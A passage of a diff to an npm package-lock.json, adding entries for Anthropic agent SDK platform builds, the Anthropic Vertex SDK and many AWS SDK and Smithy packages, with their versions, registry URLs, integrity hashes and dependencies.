LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-linux-x64-musl": { + "version": "0.2.137", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-linux-x64-musl/-/claude-agent-sdk-linux-x64-musl-0.2.137.tgz", + "integrity": "sha512-NoZM9pIqSqSgUBms8g/A7TGnBpmxYC2qNE/D/aszk21QC+g/8ni45Wrz0te9+FE0qN3Hs5VL84oKmqKlgsdFpg==", + "cpu": [ + "x64" + ], + "libc": [ + "musl" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-win32-arm64": { + "version": "0.2.137", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-arm64/-/claude-agent-sdk-win32-arm64-0.2.137.tgz", + "integrity": "sha512-SnwFcsJmXGpUImwv+vMEE+d1RtkLdEHJhyvDptXiJBeSCMBc1+UVj4dVfVEJVgvHTkzDkdHy0uZqE+y/qdkwtA==", + "cpu": [ + "arm64" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk-win32-x64": { + "version": "0.2.137", + "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-agent-sdk-win32-x64/-/claude-agent-sdk-win32-x64-0.2.137.tgz", + "integrity": "sha512-GCvHU+iPTA3cCsHWBLuWBL2/+VO2LkdXYkFush81sesrrgDssjMhh+l+6Z/8giG2R+2KPTyModW9sdT6p6P2Yg==", + "cpu": [ + "x64" + ], + "license": "SEE LICENSE IN LICENSE.md", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@anthropic-ai/claude-agent-sdk/node_modules/@anthropic-ai/sdk": { + "version": "0.81.0", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.81.0.tgz", + "integrity": "sha512-D4K5PvEV6wPiRtVlVsJHIUhHAmOZ6IT/I9rKlTf84gR7GyyAurPJK7z9BOf/AZqC5d1DhYQGJNKRmV+q8dGhgw==", + "license": "MIT", + "optional": true, + "dependencies": { + "json-schema-to-ts": "^3.1.1" + }, + "bin": { + "anthropic-ai-sdk": "bin/cli" + }, + "peerDependencies": { + "zod": "^3.25.0 || ^4.0.0" + }, + "peerDependenciesMeta": { + "zod": { + "optional": true + } + } + }, + "node_modules/@anthropic-ai/sdk": { + "version": "0.95.1", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.95.1.tgz", + "integrity": "sha512-OO9AF7hmAoU492c/mD7Q2cPqI2WNAj7rAPHlawgBeUgpwiboLRiDs+grsErGWeHHP9ZRWfzq2OVrODTt8aITVg==", + "license": "MIT", + "dependencies": { + "json-schema-to-ts": "^3.1.1", + "standardwebhooks": "^1.0.0" + }, + "bin": { + "anthropic-ai-sdk": "bin/cli" + }, + "peerDependencies": { + "zod": "^3.25.0 || ^4.0.0" + }, + "peerDependenciesMeta": { + "zod": { + "optional": true + } + } + }, + "node_modules/@anthropic-ai/vertex-sdk": { + "version": "0.14.4", + "resolved": "https://registry.npmjs.org/@anthropic-ai/vertex-sdk/-/vertex-sdk-0.14.4.tgz", + "integrity": "sha512-BZUPRWghZxfSFtAxU563wH+jfWBPoedAwsVxG35FhmNsjeV8tyfN+lFriWhCpcZApxA4NdT6Soov+PzfnxxD5g==", + "license": "MIT", + "dependencies": { + "@anthropic-ai/sdk": ">=0.50.3 <1", + "google-auth-library": "^9.4.2" + } + }, + "node_modules/@anthropic-ai/vertex-sdk/node_modules/gaxios": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-6.7.1.tgz", + "integrity": "sha512-LDODD4TMYx7XXdpwxAVRAIAuB0bzv0s+ywFonY46k126qzQHT9ygyoa9tncmOiQmmDrik65UYsEkv3lbfqQ3yQ==", + "license": "Apache-2.0", + "dependencies": { + "extend": "^3.0.2", + "https-proxy-agent": "^7.0.1", + "is-stream": "^2.0.0", + "node-fetch": "^2.6.9", + "uuid": "^9.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@anthropic-ai/vertex-sdk/node_modules/gcp-metadata": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-6.1.1.tgz", + "integrity": "sha512-a4tiq7E0/5fTjxPAaH4jpjkSv/uCaU2p5KC6HVGrvl0cDjA8iBZv4vv1gyzlmK0ZUKqwpOyQMKzZQe3lTit77A==", + "license": "Apache-2.0", + "dependencies": { + "gaxios": "^6.1.1", + "google-logging-utils": "^0.0.2", + "json-bigint": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@anthropic-ai/vertex-sdk/node_modules/google-auth-library": { + "version": "9.15.1", + "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-9.15.1.tgz", + "integrity": "sha512-Jb6Z0+nvECVz+2lzSMt9u98UsoakXxA2HGHMCxh+so3n90XgYWkq5dur19JAJV7ONiJY22yBTyJB1TSkvPq9Ng==", + "license": "Apache-2.0", + "dependencies": { + "base64-js": "^1.3.0", + "ecdsa-sig-formatter": "^1.0.11", + "gaxios": "^6.1.1", + "gcp-metadata": "^6.1.0", + "gtoken": "^7.0.0", + "jws": "^4.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@anthropic-ai/vertex-sdk/node_modules/google-logging-utils": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-0.0.2.tgz", + "integrity": "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@anthropic-ai/vertex-sdk/node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "license": "MIT", + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/@aws-crypto/crc32": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-5.2.0.tgz", + "integrity": "sha512-nLbCWqQNgUiwwtFsen1AdzAtvuLRsQS8rYgMuxCrdKf9kOssamGLuPwyTY9wyYblNr9+1XM8v6zoDTPPSIeANg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/@aws-crypto/sha256-browser": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-5.2.0.tgz", + "integrity": "sha512-AXfN/lGotSQwu6HNcEsIASo7kWXZ5HYWvfOmSNKDsEqC4OashTp8alTmaz+F7TC2L083SFv5RdB+qU3Vs1kZqw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-js": "^5.2.0", + "@aws-crypto/supports-web-crypto": "^5.2.0", + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "@aws-sdk/util-locate-window": "^3.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/is-array-buffer": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", + "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/util-buffer-from": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", + "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/util-utf8": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", + "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/sha256-js": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-5.2.0.tgz", + "integrity": "sha512-FFQQyu7edu4ufvIZ+OadFpHHOt+eSTBaYaki44c+akjg7qZg9oOQeLlk77F6tSYqjDAFClrHJk9tMf0HdVyOvA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/@aws-crypto/supports-web-crypto": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-5.2.0.tgz", + "integrity": "sha512-iAvUotm021kM33eCdNfwIN//F77/IADDSs58i+MDaOqFrVjZo9bAal0NK7HurRuWLLpF1iLX7gbWrjHjeo+YFg==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/util": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-5.2.0.tgz", + "integrity": "sha512-4RkU9EsI6ZpBve5fseQlGNUWKMa1RLPQ1dnjnQoe07ldfIzcsGb5hC5W0Dm7u423KWzawlrpbjXBrXCEv9zazQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.222.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/util/node_modules/@smithy/is-array-buffer": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", + "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/util/node_modules/@smithy/util-buffer-from": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", + "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/util/node_modules/@smithy/util-utf8": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", + "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/client-bedrock-runtime": { + "version": "3.1045.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.1045.0.tgz", + "integrity": "sha512-aPC6gAz9uKRiwfnKB7peTs6yD0FpSzmVnSkx0f2QtJfosFM6J6KtBvR1lMKby050K4C4PAyEScwA5YTsGfTcGA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/credential-provider-node": "^3.972.39", + "@aws-sdk/eventstream-handler-node": "^3.972.14", + "@aws-sdk/middleware-eventstream": "^3.972.10", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.38", + "@aws-sdk/middleware-websocket": "^3.972.16", + "@aws-sdk/region-config-resolver": "^3.972.13", + "@aws-sdk/token-providers": "3.1045.0", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.8", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.24", + "@smithy/config-resolver": "^4.4.17", + "@smithy/core": "^3.23.17", + "@smithy/eventstream-serde-browser": "^4.2.14", + "@smithy/eventstream-serde-config-resolver": "^4.3.14", + "@smithy/eventstream-serde-node": "^4.2.14", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.32", + "@smithy/middleware-retry": "^4.5.7", + "@smithy/middleware-serde": "^4.2.20", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.6.1", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.13", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.49", + "@smithy/util-defaults-mode-node": "^4.2.54", + "@smithy/util-endpoints": "^3.4.2", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.6", + "@smithy/util-stream": "^4.5.25", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/core": { + "version": "3.974.8", + "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.974.8.tgz", + "integrity": "sha512-njR2qoG6ZuB0kvAS2FyICsFZJ6gmCcf2X/7JcD14sUvGDm26wiZ5BrA6LOiUxKFEF+IVe7kdroxyE00YlkiYsw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/xml-builder": "^3.972.22", + "@smithy/core": "^3.23.17", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/signature-v4": "^5.3.14", + "@smithy/smithy-client": "^4.12.13", + "@smithy/types": "^4.14.1", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.6", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-env": { + "version": "3.972.34", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.34.tgz", + "integrity": "sha512-XT0jtf8Fw9JE6ppsQeoNnZRiG+jqRixMT1v1ZR17G60UvVdsQmTG8nbEyHuEPfMxDXEhfdARaM/XiEhca4lGHQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-http": { + "version": "3.972.36", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.36.tgz", + "integrity": "sha512-DPoGWfy7J7RKxvbf5kOKIGQkD2ek3dbKgzKIGrnLuvZBz5myU+Im/H6pmc14QcnFbqHMqxvtWSgRDSJW3qXLQg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/types": "^3.973.8", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/node-http-handler": "^4.6.1", + "@smithy/property-provider": "^4.2.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.13", + "@smithy/types": "^4.14.1", + "@smithy/util-stream": "^4.5.25", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-ini": { + "version": "3.972.38", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.38.tgz", + "integrity": "sha512-oDzUBu2MGJFgoar05sPMCwSrhw44ASyccrHzj66vO69OZqi7I6hZZxXfuPLC8OCzW7C+sU+bI73XHij41yekgQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/credential-provider-env": "^3.972.34", + "@aws-sdk/credential-provider-http": "^3.972.36", + "@aws-sdk/credential-provider-login": "^3.972.38", + "@aws-sdk/credential-provider-process": "^3.972.34", + "@aws-sdk/credential-provider-sso": "^3.972.38", + "@aws-sdk/credential-provider-web-identity": "^3.972.38", + "@aws-sdk/nested-clients": "^3.997.6", + "@aws-sdk/types": "^3.973.8", + "@smithy/credential-provider-imds": "^4.2.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-login": { + "version": "3.972.38", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.38.tgz", + "integrity": "sha512-g1NosS8qe4OF++G2UFCM5ovSkgipC7YYor5KCWatG0UoMSO5YFj9C8muePlyVmOBV/WTI16Jo3/s1NUo/o1Bww==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/nested-clients": "^3.997.6", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-node": { + "version": "3.972.39", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.39.tgz", + "integrity": "sha512-HEswDQyxUtadoZ/bJsPPENHg7R0Lzym5LuMksJeHvqhCOpP+rtkDLKI4/ZChH4w3cf5kG8n6bZuI8PzajoiqMg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/credential-provider-env": "^3.972.34", + "@aws-sdk/credential-provider-http": "^3.972.36", + "@aws-sdk/credential-provider-ini": "^3.972.38", + "@aws-sdk/credential-provider-process": "^3.972.34", + "@aws-sdk/credential-provider-sso": "^3.972.38", + "@aws-sdk/credential-provider-web-identity": "^3.972.38", + "@aws-sdk/types": "^3.973.8", + "@smithy/credential-provider-imds": "^4.2.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-process": { + "version": "3.972.34", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.34.tgz", + "integrity": "sha512-T3IFs4EVmVi1dVN5RciFnklCANSzvrQd/VuHY9ThHSQmYkTogjcGkoJEr+oNUPQZnso52183088NqysMPji1/Q==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso": { + "version": "3.972.38", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.38.tgz", + "integrity": "sha512-5ZxG+t0+3Q3QPh8KEjX6syskhgNf7I0MN7oGioTf6Lm1NTjfP7sIcYGNsthXC2qR8vcD3edNZwCr2ovfSSWuRA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/nested-clients": "^3.997.6", + "@aws-sdk/token-providers": "3.1041.0", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso/node_modules/@aws-sdk/token-providers": { + "version": "3.1041.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1041.0.tgz", + "integrity": "sha512-Th7kPI6YPtvJUcdznooXJMy+9rQWjmEF81LxaJssngBzuysK4a/x+l8kjm1zb7nYsUPbndnBdUnwng/3PLvtGw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/nested-clients": "^3.997.6", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-web-identity": { + "version": "3.972.38", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.38.tgz", + "integrity": "sha512-lYHFF30DGI20jZcYX8cm6Ns0V7f1dDN6g/MBDLTyD/5iw+bXs3yBr2iAiHDkx4RFU5JgsnZvCHYKiRVPRdmOgw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/nested-clients": "^3.997.6", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/eventstream-handler-node": { + "version": "3.972.14", + "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.14.tgz", + "integrity": "sha512-m4X56gxG76/CKfxNVbOFuYwnAZcHgS6HOH8lgp15HoGHIAVTcZfZrXvcYzJFOMLEJgVn+JHBu6EiNV+xSNXXFg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/eventstream-codec": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-eventstream": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.10.tgz", + "integrity": "sha512-QUqLs7Af1II9X4fCRAu+EGHG3KHyOp4RkuLhRKoA3NuFlh6TL8i+zXBl8w2LUxqm44B/Kom45hgSlwA1SpTsXQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-host-header": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.972.10.tgz", + "integrity": "sha512-IJSsIMeVQ8MMCPbuh1AbltkFhLBLXn7aejzfX5YKT/VLDHn++Dcz8886tXckE+wQssyPUhaXrJhdakO2VilRhg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-logger": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.972.10.tgz", + "integrity": "sha512-OOuGvvz1Dm20SjZo5oEBePFqxt5nf8AwkNDSyUHvD9/bfNASmstcYxFAHUowy4n6Io7mWUZ04JURZwSBvyQanQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-recursion-detection": { + "version": "3.972.11", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.972.11.tgz", + "integrity": "sha512-+zz6f79Kj9V5qFK2P+D8Ehjnw4AhphAlCAsPjUqEcInA9umtSSKMrHbSagEeOIsDNuvVrH98bjRHcyQukTrhaQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@aws/lambda-invoke-store": "^0.2.2", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-sdk-s3": { + "version": "3.972.37", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-s3/-/middleware-sdk-s3-3.972.37.tgz", + "integrity": "sha512-Km7M+i8DrLArVzrid1gfxeGhYHBd3uxvE77g0s5a52zPSVosxzQBnJ0gwWb6NIp/DOk8gsBMhi7V+cpJG0ndTA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-arn-parser": "^3.972.3", + "@smithy/core": "^3.23.17", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/signature-v4": "^5.3.14", + "@smithy/smithy-client": "^4.12.13", + "@smithy/types": "^4.14.1", + "@smithy/util-config-provider": "^4.2.2", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-stream": "^4.5.25", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-user-agent": { + "version": "3.972.38", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.972.38.tgz", + "integrity": "sha512-iz+B29TXcAZsJpwB+AwG/TTGA5l/VnmMZ2UxtiySOZjI6gCdmviXPwdgzcmuazMy16rXoPY4mYCGe7zdNKfx5A==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.8", + "@smithy/core": "^3.23.17", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-retry": "^4.3.6", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-websocket": { + "version": "3.972.16", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.16.tgz", + "integrity": "sha512-86+S9oCyRVGzoMRpQhxkArp7kD2K75GPmaNevd9B6EyNhWoNvnCZZ3WbgN4j7ZT+jvtvBCGZvI2XHsWZJ+BRIg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-format-url": "^3.972.10", + "@smithy/eventstream-codec": "^4.2.14", + "@smithy/eventstream-serde-browser": "^4.2.14", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/protocol-http": "^5.3.14", + "@smithy/signature-v4": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-hex-encoding": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/@aws-sdk/nested-clients": { + "version": "3.997.6", + "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.6.tgz", + "integrity": "sha512-WBDnqatJl+kGObpfmfSxqnXeYTu3Me8wx8WCtvoxX3pfWrrTv8I4WTMSSs7PZqcRcVh8WeUKMgGFjMG+52SR1w==", + "license": "Apache-2.0", + 